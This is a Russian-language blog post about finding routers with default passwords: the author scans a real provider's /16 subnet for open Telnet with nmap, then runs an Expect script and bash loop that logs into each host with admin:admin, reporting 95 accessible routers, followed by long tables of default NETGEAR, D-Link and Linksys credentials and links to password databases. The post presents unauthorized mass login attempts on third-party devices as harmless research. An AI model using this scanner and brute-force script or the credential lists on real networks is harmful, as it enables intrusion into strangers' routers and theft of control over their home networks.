Categories: Router

Взлом роутеров со страндартными паролями

Недавно мне пришла в голову банальная мысль, что большинство людей не уделяют внимания настройке своих роутеров, и на них можно зайти по дефолтным паролям. А много ли таких роутеров вдобавок открыты для входа из интернета, что делает их проходным двором? И как это по-быстрому проверить? 

Итак, задача: просканировать какую-нибудь подсеть и найти уязвимые роутеры.

Условия выполнения: не более нескольких часов (на дворе всё-таки лето), используя только стандартные средства системы Linux. Да, я в курсе про проекты типа Kali и вагоны «хакерского» софта в них, но найти нужную программу, которая сделала бы это прямо «из коробки» мне сходу не удалось, а время-то идёт… Да и интереснее самому.

Первая мысль, которая приходит в голову: сканировать nmap’ом по открытому 80 порту. Но что делать с огромным зоопарком веб-морд? Ведь цель — не написать универсальный комбайн-уничтожитель роутеров, а небольшой proof-of-concept. А нет ли какой-нибудь унифицированной системы авторизации на роутерах? Конечно же есть — Telnet! Начинаем!

Выбираем жертв: вводим в Google «имя_провайдера диапазон адресов». Я выбрал провайдера на букву «У» и одну из его подсетей вида XX.XX.00.00/16, то есть ни много ни мало ~65536 адресов.

nmap --open XX.XX.0.0/16 -p 23 > raw_log.txt

 Так мы ищем роутеры (и любые другие железки) с открытым 23 портом (Telnet), а ключ --open позволяет вывести только нужные адреса, что упрощает дальнейшую обработку.

Проходит немногим более 40 минут, и список из 2100 адресов у нас на рабочем столе. А всего было доступными 18000 хостов.

Для наших целей выхлоп nmap слишком пёстрый, его скрипту не скормишь, нужно отсеять только адреса. С этим справится незаменимый grep, а именно:

grep -o -E '([0-9]{1,3}[.]){3}[0-9]{1,3}' raw_log.txt > log.txt

 Регулярное выражение может испугать начинающего греповца, но на самом деле оно очень простое: блок вида «от одной до трёх цифр + точка» трижды + блок «от одной до трёх цифр». Ключ -o выводит только найденную подстроку, что нам и требуется.

Можно немного отдохнуть и поподключаться вручную к данным IP с помощью telnet. Кое-где соединение обрывается, но много где и подключается. Более того, из десятка попробованных IP уже два оказалось рабочими роутерами с автоматическим логином и паролем admin, что не может не радовать.

Кто-то бы на этом остановился, но только не мы, ведь наша цель — не похозяйничать в чужих роутерах, а более возвышенная — статистическое исследование.

Попытки автоматизации telnet’а «в лоб» не увенчались успехом: просто так его в bash-скрипт завернуть не удавалось. Проблема была в автоматической подстановке пароля: все известные мне способы (пайпы, эхи и кэты) здесь не сработали. Пришлось открывать для себя способы неизвестные: Expect — инструмент для автоматизации и тестирования в ОС Unix, написанный Don Libes как расширение к скрипт-языку Tcl, для интерактивных приложений таких, как telnet, ftp, passwd, fsck, rlogin, tip, ssh, и других. В статье из википедии первым же примером приводится автоматическая авторизация по telnet — ну просто подарок. Код пришлось немного «подпилить» под свои нужды, вот уже готовое тело программы для перебора: исполняемый файл try_telnet

#!/usr/bin/expect -f set SERVER [lindex $argv 0]; set USER [lindex $argv 1]; set PASS [lindex $argv 2]; set timeout 1 spawn telnet $SERVER expect ":" send "$USERr" expect ":" send "$PASSr" expect ">" {puts "nFOUND $SERVER $USER:$PASSn"; exit 0} exit 1

 Команда expect следует своему буквальному значению: ждёт приглашения на ввод логина и пароля, а потом и ввода команд. Если получен шелл, то скрипт радостно рапортует об этом в общий поток вывода строкой, которую потом удобно грепать.

Интересный факт: в Википедии и других ресурсах в качестве маркера шелла указан «#». Путём экспериментов выяснилось, что этот способ не работает на большой доле уязвимых роутеров, а именно TP-LINK, которые дают приглашение на ввод команд вида

TP-LINK>

 Однако маркер «>» универсален — он работает и на узявимых D-Link, которые дают приглашение вида

DSL-2600U#

 Осталось только написать однострочный bash: исполняемый файл brute

#!/bin/bash while read line; do ./try_telnet $line admin admin; done < log.txt

 И запускаем

./brute > out.txt

 В stderr скрипт ругается в случае connection refused — не обращайте внимания. Полезную работу скрипта можно вживую наблюдать в файле out.txt (не забывая его периодически обновлять).

Проходит 35 минут и скрипт завершает работу. Просеиваем результат с помощью 

grep 'FOUND' out.txt > final.txt

 Получаем 95 роутеров с авторизацией admin:admin — цель достигнута. 

В итоге из 18000 адресов оказалось 95 роутеров, на которые из любой точки земного шара можно зайти по admin:admin. Веб-интерфейс у всех тоже открыт. Много это или мало? Напоминаю, что мы искали лишь роутеры с открытым telnet, и попробовали лишь одну стандартную связку для авторизации (хоть и самую распространённую).

В основном оказались уязвимы роутеры TP-LINK и D-link различных моделей. Если у вас такой роутер, то его стоит проверить! Также нашлось несколько ZyXEL, Huawei, Asotel, ZTE.

Также вы можете проделать данную операцию с помощью программы RouterScan

Для взлом роутеров вам наверняка понадобится список стандартных паролей роутеров:

Таблица стандартных паролей для роутеров(маршрутизатор) производителя NETGEAR:

Модель Протокол Логин Пароль 
NETGEAR RM356 Rev. NONE TELNET (none) 1234 
NETGEAR WGT624 Rev. 2 HTTP admin password 
NETGEAR COMCAST Rev. COMCAST-SUPPLIED HTTP comcast 1234 
NETGEAR FR314 HTTP admin password 
NETGEAR MR-314 Rev. 3.26 HTTP admin 1234 
NETGEAR RT314 HTTP admin admin 
NETGEAR RP614 HTTP admin password 
NETGEAR RP114 Rev. 3.26 TELNET (none) 1234 
NETGEAR WG602 Rev. FIRMWARE VERSION 1.04.0 HTTP super 5777364 
NETGEAR WG602 Rev. FIRMWARE VERSION 1.7.14 HTTP superman 21241036 
NETGEAR WG602 Rev. FIRMWARE VERSION 1.5.67 HTTP super 5777364 
NETGEAR MR814 HTTP admin password 
NETGEAR FVS318 HTTP admin password 
NETGEAR DM602 FTP TELNET AND HTTP admin password 
NETGEAR FR114P HTTP admin password 
NETGEAR ME102 SNMP (none) private 
NETGEAR WGR614 Rev. V4 MULTI admin password 
NETGEAR RP114 Rev. 3.20-3.26 HTTP admin 1234 
NETGEAR DG834G HTTP admin password 
NETGEAR ROUTER/MODEM MULTI admin password 
NETGEAR MR314 MULTI admin 1234 
NETGEAR GSM7224 HTTP admin (none) 
NETGEAR ADSL MODEM DG632 Rev. V3.3.0A_CX HTTP admin password 
NETGEAR WGT634U HTTP admin password 
NETGEAR FWG114P MULTI n/a admin 
NETGEAR GS724T Rev. V1.0.1_1104 HTTP n/a password 
NETGEAR FM114P MULTI n/a (none) 
NETGEAR DG834 admin password 
NETGEAR WNR834 BV2 admin password 
NETGEAR WNR834BV2 HTTP admin password 
NETGEAR WPN824 / WPN824V2 HTTP admin password
Таблица стандартных паролей для роутеров(маршрутизатор) D LINK:
Производитель Модель Протокол Логин Пароль 
D-LINK DSL-G664T Rev. A1 HTTP admin admin 
D-LINK HUBS/SWITCHES TELNET D-Link D-Link 
D-LINK DI-704 Rev. REV A MULTI (none) admin 
D-LINK DI-804 Rev. V2.03 MULTI admin (none) 
D-LINK DWL 900AP MULTI (none) public 
D-LINK DI-614+ HTTP user (none) 
D-LINK DWL-614+ Rev. REV A REV B HTTP admin (none) 
D-LINK D-704P Rev. REV B MULTI admin (none) 
D-LINK DI-604 Rev. REV A REV B REV C REV E MULTI admin (none) 
D-LINK DWL-614+ Rev. 2.03 HTTP admin (none) 
D-LINK D-704P MULTI admin admin 
D-LINK DWL-900+ HTTP admin (none) 
D-LINK DI-704 MULTI n/a admin 
D-LINK DI-604 Rev. 1.62B+ HTTP admin (none) 
D-LINK DI-624 Rev. ALL HTTP admin (none) 
D-LINK DI-624 Rev. ALL HTTP User (none) 
D-LINK DI-604 Rev. 2.02 HTTP admin admin 
D-LINK DWL 1000 HTTP admin (none) 
D-LINK DI-514 MULTI user (none) 
D-LINK DI-614+ Rev. ANY HTTP admin (none) 
D-LINK DWL 2100AP MULTI admin (none) 
D-LINK DSL-302G MULTI admin admin 
D-LINK DI-624+ Rev. A3 HTTP admin admin 
D-LINK DWL-2000AP+ Rev. 1.13 HTTP admin (none) 
D-LINK DI-614+ HTTP admin admin 
D-LINK DSL-300G+ Rev. TEO TELNET (none) private 
D-LINK DSL-300G+ Rev. TEO HTTP admin admin 
D-LINK DI-524 Rev. ALL HTTP admin (none) 
D-LINK FIREWALL Rev. DFL-200 HTTP admin admin 
D-LINK DI-524 Rev. ALL HTTP user (none) 
D-LINK DWL-900AP+ Rev. REV A REV B REV C HTTP admin (none) 
D-LINK DSL500G MULTI admin admin 
D-LINK DSL-504T HTTP admin admin 
D-LINK DSL-G604T MULTI admin admin 
D-LINK DI-707P ROUTER HTTP admin (none) 
D-LINK DI624 Rev. C3 HTTP admin password 
D-LINK 604 MULTI n/a admin 
D-LINK DSL-500 MULTI admin admin 
D-LINK 504G ADSL ROUTER HTTP admin admin 
D-LINK DI-524 HTTP admin (none) 
D-LINK ADSL HTTP admin admin 
D-LINK VWR (VONAGE) Rev. WIRELESS BROADBAND ROUTER HTTP user user 
D-LINK DGL4300 Rev. D-LINK’S DGL-4300 GAME SERIES ROUTER HTTP Admin (none) 
D-LINK VTA (VONAGE) HTTP user user
Таблица стандартных паролей для роутеров(маршрутизатор) LINKSYS:
Производитель Модель Протокол Логин Пароль 
LINKSYS WAP11 MULTI n/a (none) 
LINKSYS DSL TELNET n/a admin 
LINKSYS ETHERFAST CABLE/DSL ROUTER MULTI Administrator admin 
LINKSYS LINKSYS ROUTER DSL/CABLE HTTP (none) admin 
LINKSYS BEFW11S4 Rev. 1 HTTP admin (none) 
LINKSYS BEFSR41 Rev. 2 HTTP (none) admin 
LINKSYS WRT54G HTTP admin admin 
LINKSYS WAG54G HTTP admin admin 
LINKSYS LINKSYS DSL n/a admin 
LINKSYS WAP54G Rev. 2.0 HTTP (none) admin 
LINKSYS WRT54G Rev. ALL REVISIONS HTTP (none) admin 
LINKSYS MODEL WRT54GC COMPACT WIRELESS-G BROADBAND ROUTER MULTI (none) admin 
LINKSYS AG 241 – ADSL2 GATEWAY WITH 4-PORT SWITCH MULTI admin admin 
LINKSYS COMCAST Rev. COMCAST-SUPPLIED HTTP comcast 1234 
LINKSYS WAG54GS MULTI admin admin 
LINKSYS AP 1120 MULTI n/a (none) 
LINKSYS PAP2 / PAP2V2 (VONAGE) HTTP admin admin 
LINKSYS RT31P2 (VONAGE) HTTP admin admin 
LINKSYS RTP300 (VONAGE) HTTP admin admin 
LINKSYS WRT54GP2 (VONAGE) HTTP admin admin 
LINKSYS WRTP54G (VONAGE) HTTP admin admin
------------------------------------------------------
Также пароли по умолчанию можно узнать здесь:
http://www.phenoelit-us.org/dpl/dpl.html
http://someshit.net/mdplrmp.html
http://www.redoracle.com/index.php?option=com_password&task=rlist
http://www.cirt.net/cgi-bin/passwd.pl
http://www.cyxla.com/passwords/index.php
http://www.virus.org/default-password/view/
http://defaultpassword.com/

Прекрассный ресурс для определения пароля по умолчанию для роутера — RouterPasswords.com

Здесь вы можете найти пароли практически для всех существующих моделей роутеров

Click to rate this post!
[Total: 24 Average: 2.9]
cryptoworld

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

View Comments

Share
Published by
cryptoworld

Recent Posts

Лучший адаптер беспроводной сети для взлома Wi-Fi

Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…

12 месяцев ago

Как пользоваться инструментом FFmpeg

Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…

1 год ago

Как создать собственный VPN-сервис

Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…

1 год ago

ChatGPT против HIX Chat: какой чат-бот с искусственным интеллектом лучше?

С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…

1 год ago

Разведка по Wi-Fi и GPS с помощью Sparrow-wifi

Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…

1 год ago

Как обнаружить угрозы в памяти

Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…

1 год ago